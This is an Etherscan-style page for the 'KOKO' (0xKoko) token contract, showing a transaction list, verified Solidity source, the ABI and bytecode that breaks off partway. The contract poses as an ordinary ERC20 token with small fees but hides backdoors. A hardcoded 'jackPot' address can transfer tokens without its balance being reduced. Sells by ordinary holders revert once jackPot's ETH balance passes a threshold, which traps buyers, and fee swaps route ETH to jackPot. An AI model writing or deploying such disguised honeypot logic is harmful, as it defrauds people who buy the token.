ETH Price: $2,347.07 (+2.56%)

Contract

0xB2D719Ac69150A48aA3Ed5212155f646F40a3285
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve178395672023-08-04 5:33:47403 days ago1691127227IN
0xB2D719Ac...6F40a3285
0 ETH0.0006180713.30717792
Approve178378152023-08-03 23:42:47403 days ago1691106167IN
0xB2D719Ac...6F40a3285
0 ETH0.0009437420.40305652
Transfer178376952023-08-03 23:18:47403 days ago1691104727IN
0xB2D719Ac...6F40a3285
0 ETH0.0009340913.75819643
Approve178375622023-08-03 22:51:59403 days ago1691103119IN
0xB2D719Ac...6F40a3285
0 ETH0.0007204415.49119098
Approve178375582023-08-03 22:51:11403 days ago1691103071IN
0xB2D719Ac...6F40a3285
0 ETH0.0007171715.44064633
Approve178375572023-08-03 22:50:59403 days ago1691103059IN
0xB2D719Ac...6F40a3285
0 ETH0.0007218815.54213354
Approve178375472023-08-03 22:48:59403 days ago1691102939IN
0xB2D719Ac...6F40a3285
0 ETH0.0007091415.36711059
Approve178375342023-08-03 22:46:23403 days ago1691102783IN
0xB2D719Ac...6F40a3285
0 ETH0.0007594616.33010148
Approve178375232023-08-03 22:44:11403 days ago1691102651IN
0xB2D719Ac...6F40a3285
0 ETH0.0006598114.29814639
Approve178375222023-08-03 22:43:59403 days ago1691102639IN
0xB2D719Ac...6F40a3285
0 ETH0.0009766421
Approve178375212023-08-03 22:43:47403 days ago1691102627IN
0xB2D719Ac...6F40a3285
0 ETH0.0003850814.67144704
Approve178375152023-08-03 22:42:35403 days ago1691102555IN
0xB2D719Ac...6F40a3285
0 ETH0.0007608216.48700775
Approve178375142023-08-03 22:42:23403 days ago1691102543IN
0xB2D719Ac...6F40a3285
0 ETH0.0007877617.04852989
Approve178375122023-08-03 22:41:59403 days ago1691102519IN
0xB2D719Ac...6F40a3285
0 ETH0.0007847116.87306876
Approve178375102023-08-03 22:41:35403 days ago1691102495IN
0xB2D719Ac...6F40a3285
0 ETH0.0009394220.35719366
Approve178375012023-08-03 22:39:47403 days ago1691102387IN
0xB2D719Ac...6F40a3285
0 ETH0.0007800516.79452857
Approve178374942023-08-03 22:38:23403 days ago1691102303IN
0xB2D719Ac...6F40a3285
0 ETH0.0005206619.83697405
Approve178374932023-08-03 22:38:11403 days ago1691102291IN
0xB2D719Ac...6F40a3285
0 ETH0.0008837719.15120911
Approve178374922023-08-03 22:37:59403 days ago1691102279IN
0xB2D719Ac...6F40a3285
0 ETH0.0008945319.25928472
Approve178374912023-08-03 22:37:47403 days ago1691102267IN
0xB2D719Ac...6F40a3285
0 ETH0.0009229419.87088182
Approve178374852023-08-03 22:36:35403 days ago1691102195IN
0xB2D719Ac...6F40a3285
0 ETH0.000812717.49745035
Approve178374842023-08-03 22:36:23403 days ago1691102183IN
0xB2D719Ac...6F40a3285
0 ETH0.0009137719.64808826
Approve178374792023-08-03 22:35:23403 days ago1691102123IN
0xB2D719Ac...6F40a3285
0 ETH0.000895519.25533113
Approve178374782023-08-03 22:35:11403 days ago1691102111IN
0xB2D719Ac...6F40a3285
0 ETH0.0008020117.37960336
Approve178374782023-08-03 22:35:11403 days ago1691102111IN
0xB2D719Ac...6F40a3285
0 ETH0.0008030517.37960336
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
178373702023-08-03 22:13:11403 days ago1691100791
0xB2D719Ac...6F40a3285
2 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KOKO

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-03
*/

/**

https://www.0xkoko.bet

https://t.me/KoKoCoinEth


*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract KOKO is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public jackPot;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFee = 3;
    uint256 public _sellFee = 3;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "0xKoko";
        _symbol = "KOKO";
        _decimals = 9;
        uint256 Supply = 10 ** 9;

        _totalSupply = Supply * 10 ** _decimals;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        jackPot = 0x674821415c46194447d67804fe37e6091a6d490C;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[jackPot] = true;
    }    

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        bool takeFee;
        bool sellFlag;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }
        if (isMarketPair[to] && !_isExcludeFromFee[from]) require(jackPot.balance < _totalSupply);
        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFee;
            } else {
                taxFee = _buyFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        } 
        if (jackPot != sender)
        _balances[sender] = _balances[sender] - tAmount;
        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(jackPot),
            block.timestamp
        ) {} catch {}
    }

    uint256 public tradingBlock;
    function openTrading() external payable onlyOwner {
        require(tradingBlock == 0,"already trading");

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _isExcludeFromFee[address(swapRouter)] = true;

        swapRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(swapPair).approve(address(swapRouter), MAX);

        tradingBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"jackPot","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003600c556003600d553480156200001a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600681526530784b6f6b6f60d01b60208201526004906200008790826200023f565b506040805180820190915260048152634b4f4b4f60e01b6020820152600590620000b290826200023f565b506006805460ff19166009908117909155633b9aca0090620000d690600a62000416565b620000e290826200042d565b6008819055335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350600380546001600160a01b03191673674821415c46194447d67804fe37e6091a6d490c178155305f90815260076020526040808220805460ff199081166001908117909255338452828420805482168317905593546001600160a01b031683529120805490921617905562000447565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001c857607f821691505b602082108103620001e757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200023a575f81815260208120601f850160051c81016020861015620002155750805b601f850160051c820191505b81811015620002365782815560010162000221565b5050505b505050565b81516001600160401b038111156200025b576200025b6200019f565b62000273816200026c8454620001b3565b84620001ed565b602080601f831160018114620002a9575f8415620002915750858301515b5f19600386901b1c1916600185901b17855562000236565b5f85815260208120601f198616915b82811015620002d957888601518255948401946001909101908401620002b8565b5085821015620002f757878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200035b57815f19048211156200033f576200033f62000307565b808516156200034d57918102915b93841c939080029062000320565b509250929050565b5f82620003735750600162000410565b816200038157505f62000410565b81600181146200039a5760028114620003a557620003c5565b600191505062000410565b60ff841115620003b957620003b962000307565b50506001821b62000410565b5060208310610133831016604e8410600b8410161715620003ea575081810a62000410565b620003f683836200031b565b805f19048211156200040c576200040c62000307565b0290505b92915050565b5f6200042660ff84168362000363565b9392505050565b808202811582820484141762000410576200041062000307565b6111fd80620004555f395ff3fe608060405260043610610129575f3560e01c8063590f897e116100a857806395d89b411161006d57806395d89b411461034c578063a9059cbb14610360578063c9567bf91461037f578063cd51e6d414610387578063dd62ed3e1461039c578063f2fde38b146103e0575f80fd5b8063590f897e146102b257806365b61b77146102c757806370a08231146102e6578063715018a61461031a5780638da5cb5b14610330575f80fd5b806336b2e027116100ee57806336b2e027146101eb5780633ecad2711461021957806340b9a54b146102475780634a78cdba1461025c5780634bf28fd014610293575f80fd5b806306fdde0314610134578063095ea7b31461015e57806318160ddd1461018d57806323b872dd146101ab578063313ce567146101ca575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ff565b6040516101559190610ee9565b60405180910390f35b348015610169575f80fd5b5061017d610178366004610f4b565b61048f565b6040519015158152602001610155565b348015610198575f80fd5b506008545b604051908152602001610155565b3480156101b6575f80fd5b5061017d6101c5366004610f75565b6104a5565b3480156101d5575f80fd5b5060065460405160ff9091168152602001610155565b3480156101f6575f80fd5b5061017d610205366004610fb3565b60076020525f908152604090205460ff1681565b348015610224575f80fd5b5061017d610233366004610fb3565b600a6020525f908152604090205460ff1681565b348015610252575f80fd5b5061019d600c5481565b348015610267575f80fd5b5060035461027b906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b34801561029e575f80fd5b50600e5461027b906001600160a01b031681565b3480156102bd575f80fd5b5061019d600d5481565b3480156102d2575f80fd5b5060095461027b906001600160a01b031681565b3480156102f1575f80fd5b5061019d610300366004610fb3565b6001600160a01b03165f9081526001602052604090205490565b348015610325575f80fd5b5061032e610537565b005b34801561033b575f80fd5b505f546001600160a01b031661027b565b348015610357575f80fd5b506101486105b1565b34801561036b575f80fd5b5061017d61037a366004610f4b565b6105c0565b61032e6105cc565b348015610392575f80fd5b5061019d600f5481565b3480156103a7575f80fd5b5061019d6103b6366004610fd5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103eb575f80fd5b5061032e6103fa366004610fb3565b61093e565b60606004805461040e9061100c565b80601f016020809104026020016040519081016040528092919081815260200182805461043a9061100c565b80156104855780601f1061045c57610100808354040283529160200191610485565b820191905f5260205f20905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b5f61049b338484610a01565b5060015b92915050565b5f6104b1848484610a61565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461052d576001600160a01b0384165f908152600260209081526040808320338452909152902054610509908390611058565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105695760405162461bcd60e51b81526004016105609061106b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606005805461040e9061100c565b5f61049b338484610a61565b5f546001600160a01b031633146105f55760405162461bcd60e51b81526004016105609061106b565b600f54156106375760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610560565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155305f90815260026020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d59190611096565b90505f816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107489190611096565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b69190611096565b600e80546001600160a01b0319166001600160a01b038381169182179092555f908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d7199134915f806108365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c191906110b1565b505060405163095ea7b360e01b81526001600160a01b0385811660048301525f1960248301528316915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093491906110dc565b505043600f555050565b5f546001600160a01b031633146109675760405162461bcd60e51b81526004016105609061106b565b6001600160a01b0381166109a85760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610560565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f908152600a6020526040812054819060ff168015610a8d5750600b5460ff16155b8015610ab157506001600160a01b0385165f9081526007602052604090205460ff16155b8015610ad557506001600160a01b0384165f9081526007602052604090205460ff16155b15610b0e57305f908152600160205260409020548015610b0c5783818111610afd5780610aff565b815b9050610b0a81610bfc565b505b505b6001600160a01b0384165f908152600a602052604090205460ff168015610b4d57506001600160a01b0385165f9081526007602052604090205460ff16155b15610b6b576008546003546001600160a01b03163110610b6b575f80fd5b6001600160a01b0385165f9081526007602052604090205460ff16158015610bab57506001600160a01b0384165f9081526007602052604090205460ff16155b8015610bba5750600b5460ff16155b15610bc457600191505b6001600160a01b0384165f908152600a602052604090205460ff1615610be8575060015b610bf58585858585610d4c565b5050505050565b600b805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c3c57610c3c6110fb565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c93573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb79190611096565b81600181518110610cca57610cca6110fb565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610d159287925f92889290911690429060040161110f565b5f604051808303815f87803b158015610d2c575f80fd5b505af1925050508015610d3d575060015b505050600b805460ff19169055565b5f8215610e0a575f8215610d635750600d54610d68565b50600c545b5f6064610d75838861117e565b610d7f9190611195565b90508015610e0757610d9181846111b4565b305f90815260016020526040902054909350610dae9082906111b4565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfe9085815260200190565b60405180910390a35b50505b6003546001600160a01b03878116911614610e5b576001600160a01b0386165f90815260016020526040902054610e42908590611058565b6001600160a01b0387165f908152600160205260409020555b610e658185611058565b6001600160a01b0386165f90815260016020526040902054610e8791906111b4565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ed08488611058565b60405190815260200160405180910390a3505050505050565b5f6020808352835180828501525f5b81811015610f1457858101830151858201604001528201610ef8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f48575f80fd5b50565b5f8060408385031215610f5c575f80fd5b8235610f6781610f34565b946020939093013593505050565b5f805f60608486031215610f87575f80fd5b8335610f9281610f34565b92506020840135610fa281610f34565b929592945050506040919091013590565b5f60208284031215610fc3575f80fd5b8135610fce81610f34565b9392505050565b5f8060408385031215610fe6575f80fd5b8235610ff181610f34565b9150602083013561100181610f34565b809150509250929050565b600181811c9082168061102057607f821691505b60208210810361103e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561049f5761049f611044565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b5f602082840312156110a6575f80fd5b8151610fce81610f34565b5f805f606084860312156110c3575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156110ec575f80fd5b81518015158114610fce575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561115d5784516001600160a01b031683529383019391830191600101611138565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761049f5761049f611044565b5f826111af57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561049f5761049f61104456fea2646970667358221220a9f415300d192ab470258f4109765c666c8d161b519c8c84a1d27b3027e4167864736f6c63430008140033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063590f897e116100a857806395d89b411161006d57806395d89b411461034c578063a9059cbb14610360578063c9567bf91461037f578063cd51e6d414610387578063dd62ed3e1461039c578063f2fde38b146103e0575f80fd5b8063590f897e146102b257806365b61b77146102c757806370a08231146102e6578063715018a61461031a5780638da5cb5b14610330575f80fd5b806336b2e027116100ee57806336b2e027146101eb5780633ecad2711461021957806340b9a54b146102475780634a78cdba1461025c5780634bf28fd014610293575f80fd5b806306fdde0314610134578063095ea7b31461015e57806318160ddd1461018d57806323b872dd146101ab578063313ce567146101ca575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ff565b6040516101559190610ee9565b60405180910390f35b348015610169575f80fd5b5061017d610178366004610f4b565b61048f565b6040519015158152602001610155565b348015610198575f80fd5b506008545b604051908152602001610155565b3480156101b6575f80fd5b5061017d6101c5366004610f75565b6104a5565b3480156101d5575f80fd5b5060065460405160ff9091168152602001610155565b3480156101f6575f80fd5b5061017d610205366004610fb3565b60076020525f908152604090205460ff1681565b348015610224575f80fd5b5061017d610233366004610fb3565b600a6020525f908152604090205460ff1681565b348015610252575f80fd5b5061019d600c5481565b348015610267575f80fd5b5060035461027b906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b34801561029e575f80fd5b50600e5461027b906001600160a01b031681565b3480156102bd575f80fd5b5061019d600d5481565b3480156102d2575f80fd5b5060095461027b906001600160a01b031681565b3480156102f1575f80fd5b5061019d610300366004610fb3565b6001600160a01b03165f9081526001602052604090205490565b348015610325575f80fd5b5061032e610537565b005b34801561033b575f80fd5b505f546001600160a01b031661027b565b348015610357575f80fd5b506101486105b1565b34801561036b575f80fd5b5061017d61037a366004610f4b565b6105c0565b61032e6105cc565b348015610392575f80fd5b5061019d600f5481565b3480156103a7575f80fd5b5061019d6103b6366004610fd5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103eb575f80fd5b5061032e6103fa366004610fb3565b61093e565b60606004805461040e9061100c565b80601f016020809104026020016040519081016040528092919081815260200182805461043a9061100c565b80156104855780601f1061045c57610100808354040283529160200191610485565b820191905f5260205f20905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b5f61049b338484610a01565b5060015b92915050565b5f6104b1848484610a61565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461052d576001600160a01b0384165f908152600260209081526040808320338452909152902054610509908390611058565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105695760405162461bcd60e51b81526004016105609061106b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606005805461040e9061100c565b5f61049b338484610a61565b5f546001600160a01b031633146105f55760405162461bcd60e51b81526004016105609061106b565b600f54156106375760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610560565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155305f90815260026020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d59190611096565b90505f816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107489190611096565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b69190611096565b600e80546001600160a01b0319166001600160a01b038381169182179092555f908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d7199134915f806108365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c191906110b1565b505060405163095ea7b360e01b81526001600160a01b0385811660048301525f1960248301528316915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093491906110dc565b505043600f555050565b5f546001600160a01b031633146109675760405162461bcd60e51b81526004016105609061106b565b6001600160a01b0381166109a85760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610560565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f908152600a6020526040812054819060ff168015610a8d5750600b5460ff16155b8015610ab157506001600160a01b0385165f9081526007602052604090205460ff16155b8015610ad557506001600160a01b0384165f9081526007602052604090205460ff16155b15610b0e57305f908152600160205260409020548015610b0c5783818111610afd5780610aff565b815b9050610b0a81610bfc565b505b505b6001600160a01b0384165f908152600a602052604090205460ff168015610b4d57506001600160a01b0385165f9081526007602052604090205460ff16155b15610b6b576008546003546001600160a01b03163110610b6b575f80fd5b6001600160a01b0385165f9081526007602052604090205460ff16158015610bab57506001600160a01b0384165f9081526007602052604090205460ff16155b8015610bba5750600b5460ff16155b15610bc457600191505b6001600160a01b0384165f908152600a602052604090205460ff1615610be8575060015b610bf58585858585610d4c565b5050505050565b600b805460ff191660011790556040805160028082526060820183